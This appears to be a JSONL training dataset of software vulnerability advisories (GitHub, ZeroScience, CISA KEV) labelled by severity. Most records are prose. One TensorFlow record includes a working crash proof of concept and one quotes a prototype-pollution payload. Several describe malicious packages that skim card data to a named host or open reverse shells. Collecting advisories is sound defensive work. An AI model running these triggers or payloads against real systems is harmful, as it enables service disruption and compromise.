-{"id": "b8a22e492942d1d28e32", "text": "Workflow re-write vulnerability using input parameter\n\n### Impact\n\n* Allow end-users to set input parameters, but otherwise expect workflows to be secure.\n\n### Patches\n\nNot yet.\n\n### Workarounds\n\n* Set `EXPRESSION_TEMPLATES=false` for the workflow controller\n\n### References\n\n* https://github.com/argoproj/argo-workflows/issues/6441\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [example link to repo](http://example.com)\n* Email us at [example email address](mailto:example@example.com)", "text_raw": "Workflow re-write vulnerability using input parameter\n\n[Severity: MEDIUM]\n\n### Impact\n\n* Allow end-users to set input parameters, but otherwise expect workflows to be secure.\n\n### Patches\n\nNot yet.\n\n### Workarounds\n\n* Set `EXPRESSION_TEMPLATES=false` for the workflow controller\n\n\n### References\n\n* https://github.com/argoproj/argo-workflows/issues/6441\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [example link to repo](http://example.com)\n* Email us at [example email address](mailto:example@example.com)\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-09", "split": "train"}
-{"id": "e722a6b59732eaf9dbe1", "text": "activesupport Improper Input Validation vulnerability\n\nThe `ActiveSupport::XmlMini_JDOM` backend in `lib/active_support/xml_mini/jdom.rb` in the Active Support component in Ruby on Rails 3.0.x and 3.1.x before 3.1.12 and 3.2.x before 3.2.13, when JRuby is used, does not properly restrict the capabilities of the XML parser, which allows remote attackers to read arbitrary files or cause a denial of service (resource consumption) via vectors involving (1) an external DTD or (2) an external entity declaration in conjunction with an entity reference.", "text_raw": "activesupport Improper Input Validation vulnerability\n\n[Severity: MEDIUM]\n\nThe `ActiveSupport::XmlMini_JDOM` backend in `lib/active_support/xml_mini/jdom.rb` in the Active Support component in Ruby on Rails 3.0.x and 3.1.x before 3.1.12 and 3.2.x before 3.2.13, when JRuby is used, does not properly restrict the capabilities of the XML parser, which allows remote attackers to read arbitrary files or cause a denial of service (resource consumption) via vectors involving (1) an external DTD or (2) an external entity declaration in conjunction with an entity reference.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "cccc73764be20ec818ce", "text": "Out of bounds read in uu_od\n\nAn issue was discovered in PartialReader in the uu_od crate before 0.0.4 for Rust. Attackers can read the contents of uninitialized memory locations via a user-provided Read operation.", "text_raw": "Out of bounds read in uu_od\n\n[Severity: HIGH]\n\nAn issue was discovered in PartialReader in the uu_od crate before 0.0.4 for Rust. Attackers can read the contents of uninitialized memory locations via a user-provided Read operation.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "5e062c8cf08451b73f6a", "text": "XSS issues in the management interface\n\nIn system/workplace/ in Alkacon OpenCms 10.5.4 and 10.5.5, there are multiple Reflected and Stored XSS issues in the management interface.", "text_raw": "XSS issues in the management interface\n\n[Severity: MEDIUM]\n\nIn system/workplace/ in Alkacon OpenCms 10.5.4 and 10.5.5, there are multiple Reflected and Stored XSS issues in the management interface.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-11-12", "split": "train"}
-{"id": "935efae30e252fad6290", "text": "actionpack Improper Input Validation vulnerability\n\nThe `to_s` method in `actionpack/lib/action_dispatch/middleware/remote_ip.rb` in Ruby on Rails 3.0.5 does not validate the X-Forwarded-For header in requests from IP addresses on a Class C network, which might allow remote attackers to inject arbitrary text into log files or bypass intended address parsing via a crafted header.", "text_raw": "actionpack Improper Input Validation vulnerability\n\n[Severity: MEDIUM]\n\nThe `to_s` method in `actionpack/lib/action_dispatch/middleware/remote_ip.rb` in Ruby on Rails 3.0.5 does not validate the X-Forwarded-For header in requests from IP addresses on a Class C network, which might allow remote attackers to inject arbitrary text into log files or bypass intended address parsing via a crafted header.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "c0d3502be1a794e186ab", "text": "Malicious Package in buffer-xgr\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in buffer-xgr\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "fd44c73e1758ca7416e0", "text": "CHECK-fail in SparseCross due to type confusion\n\n### Impact\nThe API of `tf.raw_ops.SparseCross` allows combinations which would result in a `CHECK`-failure and denial of service:\n\n```python\nimport tensorflow as tf\n\nhashed_output = False\nnum_buckets = 1949315406\nhash_key = 1869835877\nout_type = tf.string \ninternal_type = tf.string\n\nindices_1 = tf.constant([0, 6], shape=[1, 2], dtype=tf.int64)\nindices_2 = tf.constant([0, 0], shape=[1, 2], dtype=tf.int64)\nindices = [indices_1, indices_2]\n\nvalues_1 = tf.constant([0], dtype=tf.int64)\nvalues_2 = tf.constant([72], dtype=tf.int64)\nvalues = [values_1, values_2]\n\nbatch_size = 4\nshape_1 = tf.constant([4, 122], dtype=tf.int64)\nshape_2 = tf.constant([4, 188], dtype=tf.int64)\nshapes = [shape_1, shape_2]\n\ndense_1 = tf.constant([188, 127, 336, 0], shape=[4, 1], dtype=tf.int64)\ndense_2 = tf.constant([341, 470, 470, 470], shape=[4, 1], dtype=tf.int64)\ndense_3 = tf.constant([188, 188, 341, 922], shape=[4, 1], dtype=tf.int64)\ndenses = [dense_1, dense_2, dense_3]\n\ntf.raw_ops.SparseCross(indices=indices, values=values, shapes=shapes, dense_inputs=denses, hashed_output=hashed_output,\n                       num_buckets=num_buckets, hash_key=hash_key, out_type=out_type, internal_type=internal_type)\n```\n\nThe above code will result in a `CHECK` fail in [`tensor.cc`](https://github.com/tensorflow/tensorflow/blob/3d782b7d47b1bf2ed32bd4a246d6d6cadc4c903d/tensorflow/core/framework/tensor.cc#L670-L675):\n\n```cc\nvoid Tensor::CheckTypeAndIsAligned(DataType expected_dtype) const {\n  CHECK_EQ(dtype(), expected_dtype)\n      << \" \" << DataTypeString(expected_dtype) << \" expected, got \"\n      << DataTypeString(dtype());\n  ...\n}\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/3d782b7d47b1bf2ed32bd4a246d6d6cadc4c903d/tensorflow/core/kernels/sparse_cross_op.cc#L114-L116) is tricked to consider a tensor of type `tstring` which in fact contains integral elements:\n\n```cc\n  if (DT_STRING == values_.dtype())\n      return Fingerprint64(values_.vec<tstring>().data()[start + n]);\n  return values_.vec<int64>().data()[start + n];\n```\n\nFixing the type confusion by preventing mixing `DT_STRING` and `DT_INT64` types solves this issue.\n\n### Patches\nWe have patched the issue in GitHub commit [b1cc5e5a50e7cee09f2c6eb48eb40ee9c4125025](https://github.com/tensorflow/tensorflow/commit/b1cc5e5a50e7cee09f2c6eb48eb40ee9c4125025).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "text_raw": "CHECK-fail in SparseCross due to type confusion\n\n[Severity: LOW]\n\n### Impact\nThe API of `tf.raw_ops.SparseCross` allows combinations which would result in a `CHECK`-failure and denial of service:\n\n```python\nimport tensorflow as tf\n\nhashed_output = False\nnum_buckets = 1949315406\nhash_key = 1869835877\nout_type = tf.string \ninternal_type = tf.string\n\nindices_1 = tf.constant([0, 6], shape=[1, 2], dtype=tf.int64)\nindices_2 = tf.constant([0, 0], shape=[1, 2], dtype=tf.int64)\nindices = [indices_1, indices_2]\n\nvalues_1 = tf.constant([0], dtype=tf.int64)\nvalues_2 = tf.constant([72], dtype=tf.int64)\nvalues = [values_1, values_2]\n\nbatch_size = 4\nshape_1 = tf.constant([4, 122], dtype=tf.int64)\nshape_2 = tf.constant([4, 188], dtype=tf.int64)\nshapes = [shape_1, shape_2]\n\ndense_1 = tf.constant([188, 127, 336, 0], shape=[4, 1], dtype=tf.int64)\ndense_2 = tf.constant([341, 470, 470, 470], shape=[4, 1], dtype=tf.int64)\ndense_3 = tf.constant([188, 188, 341, 922], shape=[4, 1], dtype=tf.int64)\ndenses = [dense_1, dense_2, dense_3]\n\ntf.raw_ops.SparseCross(indices=indices, values=values, shapes=shapes, dense_inputs=denses, hashed_output=hashed_output,\n                       num_buckets=num_buckets, hash_key=hash_key, out_type=out_type, internal_type=internal_type)\n```\n\nThe above code will result in a `CHECK` fail in [`tensor.cc`](https://github.com/tensorflow/tensorflow/blob/3d782b7d47b1bf2ed32bd4a246d6d6cadc4c903d/tensorflow/core/framework/tensor.cc#L670-L675):\n\n```cc\nvoid Tensor::CheckTypeAndIsAligned(DataType expected_dtype) const {\n  CHECK_EQ(dtype(), expected_dtype)\n      << \" \" << DataTypeString(expected_dtype) << \" expected, got \"\n      << DataTypeString(dtype());\n  ...\n}\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/3d782b7d47b1bf2ed32bd4a246d6d6cadc4c903d/tensorflow/core/kernels/sparse_cross_op.cc#L114-L116) is tricked to consider a tensor of type `tstring` which in fact contains integral elements:\n\n```cc\n  if (DT_STRING == values_.dtype())\n      return Fingerprint64(values_.vec<tstring>().data()[start + n]);\n  return values_.vec<int64>().data()[start + n];\n```\n\nFixing the type confusion by preventing mixing `DT_STRING` and `DT_INT64` types solves this issue.\n\n### Patches\nWe have patched the issue in GitHub commit [b1cc5e5a50e7cee09f2c6eb48eb40ee9c4125025](https://github.com/tensorflow/tensorflow/commit/b1cc5e5a50e7cee09f2c6eb48eb40ee9c4125025).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "77d57aeb6d74eaa73d8a", "text": "Use of Cryptographically Weak Pseudo-Random Number Generator in org.pac4j:pac4j-saml\n\nThe SAML identifier generated within SAML2Utils.java was found to make use of the apache commons-lang3 RandomStringUtils class which makes them predictable due to RandomStringUtils PRNG's algorithm not being cryptographically strong. This issue only affects the 3.X release of pac4j-saml.", "text_raw": "Use of Cryptographically Weak Pseudo-Random Number Generator in org.pac4j:pac4j-saml\n\n[Severity: MEDIUM]\n\nThe SAML identifier generated within SAML2Utils.java was found to make use of the apache commons-lang3 RandomStringUtils class which makes them predictable due to RandomStringUtils PRNG's algorithm not being cryptographically strong. This issue only affects the 3.X release of pac4j-saml.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-11-06", "split": "train"}
-{"id": "8ee29346daac3792ec67", "text": "Improper Restriction of XML External Entity Reference in Plone\n\nPlone before 5.2.3 allows XXE attacks via a feature that is explicitly only available to the Manager role.", "text_raw": "Improper Restriction of XML External Entity Reference in Plone\n\n[Severity: HIGH]\n\nPlone before 5.2.3 allows XXE attacks via a feature that is explicitly only available to the Manager role.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-07", "split": "train"}
-{"id": "cd49a651ff5e780b5b4e", "text": "NUUO Local File Disclosure Vulnerability", "text_raw": "NUUO Local File Disclosure Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-08-06", "split": "train"}
-{"id": "d11d5bf3663f5416e901", "text": "Malicious Package in radicjs\n\nVersion 0.2.1 of `radicjs` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised. Users may downgrade to 0.2.0", "text_raw": "Malicious Package in radicjs\n\n[Severity: CRITICAL]\n\nVersion 0.2.1 of `radicjs` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised. Users may downgrade to 0.2.0", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "a1c13d3d9d52cd0d4dc1", "text": "Prototype Pollution in lodash.merge\n\nVersions of `lodash.merge` before 4.6.2 are vulnerable to prototype pollution. The function `merge` may allow a malicious user to modify the prototype of `Object` via `{constructor: {prototype: {...}}}` causing the addition or modification of an existing property that will exist on all objects.\n\n## Recommendation\n\nUpdate to version 4.6.2 or later.", "text_raw": "Prototype Pollution in lodash.merge\n\n[Severity: HIGH]\n\nVersions of `lodash.merge` before 4.6.2 are vulnerable to prototype pollution. The function `merge` may allow a malicious user to modify the prototype of `Object` via `{constructor: {prototype: {...}}}` causing the addition or modification of an existing property that will exist on all objects.\n\n\n\n\n## Recommendation\n\nUpdate to version 4.6.2 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "28dd6c5d00c00b0a0cb7", "text": "Materialize-css vulnerable to Cross-site Scripting in autocomplete component\n\nAll versions of `materialize-css` are vulnerable to Cross-Site Scripting. The `autocomplete` component does not sufficiently sanitize user input, allowing an attacker to execute arbitrary JavaScript code if the malicious input is rendered by a user.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "text_raw": "Materialize-css vulnerable to Cross-site Scripting in autocomplete component\n\n[Severity: MEDIUM]\n\nAll versions of `materialize-css` are vulnerable to Cross-Site Scripting. The `autocomplete` component does not sufficiently sanitize user input, allowing an attacker to execute arbitrary JavaScript code if the malicious input is rendered by a user.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-04-09", "split": "train"}
-{"id": "18c1c168591115b614c2", "text": "Cross-site Scripting in vis-timeline\n\nThis affects the package vis-timeline before 7.4.4.\n An attacker with the ability to control the items of a Timeline element can inject additional script code into the generated application.", "text_raw": "Cross-site Scripting in vis-timeline\n\n[Severity: MEDIUM]\n\nThis affects the package vis-timeline before 7.4.4.\n An attacker with the ability to control the items of a Timeline element can inject additional script code into the generated application.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "1017eae1efbf7cf74d90", "text": "Uncontrolled Resource Consumption in Pillow\n\nThere is a DoS vulnerability in Pillow before 6.2.2 caused by FpxImagePlugin.py calling the range function on an unvalidated 32-bit integer if the number of bands is large. On Windows running 32-bit Python, this results in an OverflowError or MemoryError due to the 2 GB limit. However, on Linux running 64-bit Python this results in the process being terminated by the OOM killer.", "text_raw": "Uncontrolled Resource Consumption in Pillow\n\n[Severity: HIGH]\n\nThere is a DoS vulnerability in Pillow before 6.2.2 caused by FpxImagePlugin.py calling the range function on an unvalidated 32-bit integer if the number of bands is large. On Windows running 32-bit Python, this results in an OverflowError or MemoryError due to the 2 GB limit. However, on Linux running 64-bit Python this results in the process being terminated by the OOM killer.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-04-01", "split": "train"}
-{"id": "6376b896d264ca55e89c", "text": "Remote code execution in PHPMailer\n\n### Impact\nThe `isMail` transport in PHPMailer before 5.2.20 might allow remote attackers to pass extra parameters to the `mail` command and consequently execute arbitrary code by leveraging improper interaction between the `escapeshellarg` function and internal escaping performed in the mail function in PHP. NOTE: this vulnerability exists because of an incorrect fix for CVE-2016-10033.\n\nThis issue really emphasises that it&#39;s worth avoiding the built-in PHP `mail()` function entirely.\n\n### Patches\nFixed in 5.2.20\n\n### Workarounds\nSend via SMTP to localhost instead of calling the `mail()` function.\n\n### References\nhttps://nvd.nist.gov/vuln/detail/CVE-2016-10045\nSee also https://nvd.nist.gov/vuln/detail/CVE-2016-10033\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open a private issue in [the PHPMailer project](https://github.com/PHPMailer/PHPMailer)", "text_raw": "Remote code execution in PHPMailer\n\n[Severity: CRITICAL]\n\n### Impact\nThe `isMail` transport in PHPMailer before 5.2.20 might allow remote attackers to pass extra parameters to the `mail` command and consequently execute arbitrary code by leveraging improper interaction between the `escapeshellarg` function and internal escaping performed in the mail function in PHP. NOTE: this vulnerability exists because of an incorrect fix for CVE-2016-10033.\n\nThis issue really emphasises that it&#39;s worth avoiding the built-in PHP `mail()` function entirely.\n\n### Patches\nFixed in 5.2.20\n\n### Workarounds\nSend via SMTP to localhost instead of calling the `mail()` function.\n\n### References\nhttps://nvd.nist.gov/vuln/detail/CVE-2016-10045\nSee also https://nvd.nist.gov/vuln/detail/CVE-2016-10033\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open a private issue in [the PHPMailer project](https://github.com/PHPMailer/PHPMailer)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-03-05", "split": "train"}
-{"id": "cbd1b414af68c27db72f", "text": "Malicious Package in precode.js\n\nVersion 1.1.1 of `precode.js` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 1.1.0", "text_raw": "Malicious Package in precode.js\n\n[Severity: CRITICAL]\n\nVersion 1.1.1 of `precode.js` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 1.1.0", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "5a7abe12358e6bc78cb7", "text": "Ansible exposes sensitive data in log files and on the terminal\n\nAnsible 2.5 prior to 2.5.5, and 2.4 prior to 2.4.5, do not honor the no_log task flag for failed tasks. When the no_log flag has been used to protect sensitive data passed to a task from being logged, and that task does not run successfully, Ansible will expose sensitive data in log files and on the terminal of the user running Ansible.", "text_raw": "Ansible exposes sensitive data in log files and on the terminal\n\n[Severity: HIGH]\n\nAnsible 2.5 prior to 2.5.5, and 2.4 prior to 2.4.5, do not honor the no_log task flag for failed tasks. When the no_log flag has been used to protect sensitive data passed to a task from being logged, and that task does not run successfully, Ansible will expose sensitive data in log files and on the terminal of the user running Ansible.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-10", "split": "train"}
-{"id": "53db3c8e4afe9e7eab2e", "text": "Malicious Package in sj-tw-abc\n\nAll versions of `sj-tw-abc` contain malicious code. The package downloads and runs a script that opens a reverse shell in the system.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in sj-tw-abc\n\n[Severity: CRITICAL]\n\nAll versions of `sj-tw-abc` contain malicious code. The package downloads and runs a script that opens a reverse shell in the system.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "c69f7208dce8670d7a46", "text": "Remote Code Execution in npm-groovy-lint\n\nVersions of npm-groovy-lint prior to 9.1.0 bundle vulnerable versions of the Log4j library which are subject to remote code execution via jndi rendering. As a result npm-groovy-lint prior to 9.1.0 is also vulnerable.", "text_raw": "Remote Code Execution in npm-groovy-lint\n\n[Severity: CRITICAL]\n\nVersions of npm-groovy-lint prior to 9.1.0 bundle vulnerable versions of the Log4j library which are subject to remote code execution via jndi rendering. As a result npm-groovy-lint prior to 9.1.0 is also vulnerable.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-12-20", "split": "train"}
-{"id": "70bf3a5c1d83ed0cb986", "text": "Maxthon Browser 2.1.4.443 UNICODE Remote Denial of Service PoC", "text_raw": "Maxthon Browser 2.1.4.443 UNICODE Remote Denial of Service PoC\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2008-09-11", "split": "train"}
-{"id": "cec8d438e293ecf3b360", "text": "In Apache Tomcat there is an improper handing of overflow in the UTF-8 decoder\n\nAn improper handing of overflow in the UTF-8 decoder with supplementary characters can lead to an infinite loop in the decoder causing a Denial of Service. Versions Affected: Apache Tomcat 9.0.0.M9 to 9.0.7, 8.5.0 to 8.5.30, 8.0.0.RC1 to 8.0.51, and 7.0.28 to 7.0.86.", "text_raw": "In Apache Tomcat there is an improper handing of overflow in the UTF-8 decoder \n\n[Severity: HIGH]\n\nAn improper handing of overflow in the UTF-8 decoder with supplementary characters can lead to an infinite loop in the decoder causing a Denial of Service. Versions Affected: Apache Tomcat 9.0.0.M9 to 9.0.7, 8.5.0 to 8.5.30, 8.0.0.RC1 to 8.0.51, and 7.0.28 to 7.0.86.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "fba3ab8023a05c6fec41", "text": "Adobe Photoshop CS4 Extended 11.0 GRD File Handling Remote Buffer Overflow PoC", "text_raw": "Adobe Photoshop CS4 Extended 11.0 GRD File Handling Remote Buffer Overflow PoC\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2010-05-26", "split": "train"}
-{"id": "0b0d5ade829d3f7d3f78", "text": "Denial of Service in url-relative\n\nAll versions of `url-relative` are vulnerable to Denial of Service. If the values `to` and `from` are equal, the function hangs and never returns. This may cause a Denial of Service.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "text_raw": "Denial of Service in url-relative\n\n[Severity: MEDIUM]\n\nAll versions of `url-relative` are vulnerable to Denial of Service. If the values `to` and `from` are equal, the function hangs and never returns. This may cause a Denial of Service.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-05", "split": "train"}
-{"id": "4ef5e6d8152a2517c8f1", "text": "SkaDate Lite 2.0 Remote Code Execution Exploit", "text_raw": "SkaDate Lite 2.0 Remote Code Execution Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2014-07-30", "split": "train"}
-{"id": "1fb06182abc7f2a360a3", "text": "Improper Restriction of Operations within the Bounds of a Memory Buffer in OpenCV\n\nIn modules/imgcodecs/src/grfmt_pxm.cpp, the length of buffer AutoBuffer _src is small than expected, which will cause copy buffer overflow later. If the image is from remote, may lead to remote code execution or denial of service. This affects OpenCV 3.3 (corresponding to OpenCV-Python 3.3.0.9) and earlier.", "text_raw": "Improper Restriction of Operations within the Bounds of a Memory Buffer in OpenCV\n\n[Severity: HIGH]\n\nIn modules/imgcodecs/src/grfmt_pxm.cpp, the length of buffer AutoBuffer _src is small than expected, which will cause copy buffer overflow later. If the image is from remote, may lead to remote code execution or denial of service. This affects OpenCV 3.3 (corresponding to OpenCV-Python 3.3.0.9) and earlier.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "b009c85b13029925f43b", "text": "Data races in model\n\n`Shared` data structure in `model` crate implements `Send` and `Sync` traits regardless of the inner type.\nThis allows safe Rust code to trigger a data race, which is undefined behavior in Rust.\n\nUsers are advised to treat `Shared` as an unsafe type.\nIt should not be used outside of the testing context,\nand care must be taken so that the testing code does not have a data race\nbesides a race condition that is expected to be caught by the test.", "text_raw": "Data races in model\n\n[Severity: HIGH]\n\n`Shared` data structure in `model` crate implements `Send` and `Sync` traits regardless of the inner type.\nThis allows safe Rust code to trigger a data race, which is undefined behavior in Rust.\n\nUsers are advised to treat `Shared` as an unsafe type.\nIt should not be used outside of the testing context,\nand care must be taken so that the testing code does not have a data race\nbesides a race condition that is expected to be caught by the test.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "4ca387621f3f5ec9aa7f", "text": "OPC UA applications can allow a remote attacker to determine a Server's private key\n\nAn issue was discovered in OPC UA .NET Standard Stack and Sample Code before GitHub commit 2018-04-12, and OPC UA .NET Legacy Stack and Sample Code before GitHub commit 2018-03-13. A vulnerability in OPC UA applications can allow a remote attacker to determine a Server's private key by sending carefully constructed bad UserIdentityTokens as part of an oracle attack.", "text_raw": "OPC UA applications can allow a remote attacker to determine a Server's private key \n\n[Severity: MEDIUM]\n\nAn issue was discovered in OPC UA .NET Standard Stack and Sample Code before GitHub commit 2018-04-12, and OPC UA .NET Legacy Stack and Sample Code before GitHub commit 2018-03-13. A vulnerability in OPC UA applications can allow a remote attacker to determine a Server's private key by sending carefully constructed bad UserIdentityTokens as part of an oracle attack.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "62e01807adf30d35e902", "text": "SaltStack Salt Path Traversal Vulnerability\n\nAffected: SaltStack Salt\n\nSaltStack Salt contains a path traversal vulnerability in the salt-master process ClearFuncs which allows directory access to authenticated users. Salt users who follow fundamental internet security guidelines and best practices are not affected by this vulnerability.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "SaltStack Salt Path Traversal Vulnerability\n\nAffected: SaltStack Salt\n\nSaltStack Salt contains a path traversal vulnerability in the salt-master process ClearFuncs which allows directory access to authenticated users. Salt users who follow fundamental internet security guidelines and best practices are not affected by this vulnerability.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "b354ef02f125ac2a5415", "text": "eXPert PDF Reader 4.0 NULL Pointer Dereference and Heap Corruption Denial Of Service", "text_raw": "eXPert PDF Reader 4.0 NULL Pointer Dereference and Heap Corruption Denial Of Service\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-02-26", "split": "train"}
-{"id": "bd8758c42dde4b06b744", "text": "The decodeRequest and decodeRequestWith directives in Lightbend Akka HTTP 10.1.x through 10.1.4 and 10.0.x through 10.0.13 allow remote attackers to cause a denial of service (memory consumption and daemon crash) via a ZIP bomb.", "text_raw": "High severity vulnerability that affects com.typesafe.akka:akka-http-core_2.11 and com.typesafe.akka:akka-http-core_2.12\n\n[Severity: HIGH]\n\nThe decodeRequest and decodeRequestWith directives in Lightbend Akka HTTP 10.1.x through 10.1.4 and 10.0.x through 10.0.13 allow remote attackers to cause a denial of service (memory consumption and daemon crash) via a ZIP bomb.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-22", "split": "train"}
-{"id": "8aa5c851773f05bf4190", "text": "Apache Log4j2 Remote Code Execution Vulnerability\n\nAffected: Apache Log4j2\n\nApache Log4j2 contains a vulnerability where JNDI features do not protect against attacker-controlled JNDI-related endpoints, allowing for remote code execution.\n\nRequired Action: For all affected software assets for which updates exist, the only acceptable remediation actions are: 1) Apply updates; OR 2) remove affected assets from agency networks. Temporary mitigations using one of the measures provided at https://www.cisa.gov/uscert/ed-22-02-apache-log4j-recommended-mitigation-measures are only acceptable until updates are available.\n\nRansomware: Known\n\nCWE(s): CWE-20, CWE-400, CWE-502\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Apache Log4j2 Remote Code Execution Vulnerability\n\nAffected: Apache Log4j2\n\nApache Log4j2 contains a vulnerability where JNDI features do not protect against attacker-controlled JNDI-related endpoints, allowing for remote code execution.\n\nRequired Action: For all affected software assets for which updates exist, the only acceptable remediation actions are: 1) Apply updates; OR 2) remove affected assets from agency networks. Temporary mitigations using one of the measures provided at https://www.cisa.gov/uscert/ed-22-02-apache-log4j-recommended-mitigation-measures are only acceptable until updates are available.\n\nRansomware: Known\n\nCWE(s): CWE-20, CWE-400, CWE-502\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-12-10", "split": "train"}
-{"id": "6b83de4eb116d5421bac", "text": "Inadequate Encryption Strength\n\nPrimetek Primefaces 5.x is vulnerable to a weak encryption flaw resulting in remote code execution", "text_raw": "Inadequate Encryption Strength\n\n[Severity: CRITICAL]\n\nPrimetek Primefaces 5.x is vulnerable to a weak encryption flaw resulting in remote code execution", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-03", "split": "train"}
